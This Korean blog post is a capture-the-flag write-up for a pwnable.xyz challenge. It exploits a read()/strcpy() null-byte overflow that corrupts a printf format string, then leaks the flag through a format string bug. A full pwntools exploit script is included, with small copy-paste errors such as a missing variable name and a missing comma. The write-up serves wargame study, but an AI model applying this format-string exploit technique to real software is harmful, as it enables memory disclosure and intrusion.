본문으로 바로가기

나이가 18세 이상인지? 아닌지?를 검사한다.

만약 나이가 18살 이상이 아니면 return 0으로 프로그램을 종료시킨다.

그리고 Y를 입력하여 나이가 18살 이상임이 확인되면 read로 src에 0x80만큼 입력을 받는다.

그리고 여기서 흥미로운점이 하나 있다.

그것은 바로 0x6010e0에 위치한 sur에서 0x80만큼 떨어진 0x601160이 있다!!


이 부분은 바로..

이부분이다. printf 부분에서 포맷스트링을 설정해주는 부분이다. 취약점은 이부분에서 터진다.


1. read함수 : read함수는 입력이 끝나면 문자열에 끝에 null문자를 삽입해주지 않는다.

2. strcpy함수 : strcpy함수는 문자열을 복사하고, 문자열 마지막에 null문자를 삽입해준다.


띠용! 그럼 read함수로 0x80만큼 입력받으면 strcpy로 복사할때, 0x81에 null문자가 삽입된다는것이다!!!!

이렇게되면 위의 메모리 배치에 의해서 포맷스트링이 손상된다. 이걸 이용해서 포맷스트링 버그를 사용할수있다.

포맷스트링버그를 이용해서 스택을 leak하여 플래그를 찾아보도록 하자.


근데 그럼 플래그는 어디에 있을까? 분명 스택 어딘가에 플래그가 있어야 하는데 말이다..

바로 여기있다.

하지만 이건 누가봐도 가짜 플래그이다. 서버 안에서는 진짜 플래그가 들어있을것이다.


그리고 여기서 하나더!

Y 나 N을 입력받아서 나이를 검사하는 부분에서 최대 0x10바이트만큼 입력 받을수있다.

즉, 이 점을 이용해서 첫번째 입력때 yAAAABBBBCCCCDDD 를 입력하면, 포맷스트링 버그를 이용해서 스택 어딘가에 있는 AAAA BBBB CCCC DDD를 찾을수 있다!

그럼 스택에 플래그의 주소를 입력해놓고, 그걸 %s 포맷스트링으로 출력하면?

플래그가 출력될것이다!



총 정리를 한번 해보자. 우리가 해야할건 다음과 같다.

1. 첫번째 y / n 입력 부분에서 스택에 플래그의 주소를 남겨둔다.

2. 두번째 name입력 부분에서 0x80을 꽉꽉 채워넣어 포맷스트링을 손상시킨다. 

즉, 0x80를 입력받을때 Dummy1 + Formatstring + Dummy2 

# Dummy2의 len은 (0x80 - len (Dummy1+Formatstring)) 이다. 

일단 플래그가 몇번째 포맷스트링에 있는지도 모르니 %p 포멧스트링을 12번정도 박아주었다. 익스코드를 보자.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *
  
= remote("svc.pwnable.xyz"30004)
 
flag = 0x601080
pay = ''
pay += 'Y'+'A'*7 + p32(flag)
r.recvuntil("Are you 18 years or older? [y/N]: ")
r.sendline(pay)
 
formatstr = '%p %p %p %p %p %p %p %p %s %p %p %p'
pay = ''
pay += 'A'*60 + formatstr + 'A'*(0x80-len(formatstr)-32)
r.recvuntil("Name: ")
r.sendline(pay)
         
print r.recvall()
cs

그랬더니 9번째 %p에서 플래그의 주소가 떴다!

그래서 9번째 %p를 %s로 바꾸었더니 플래그가 떠주었다! 

와!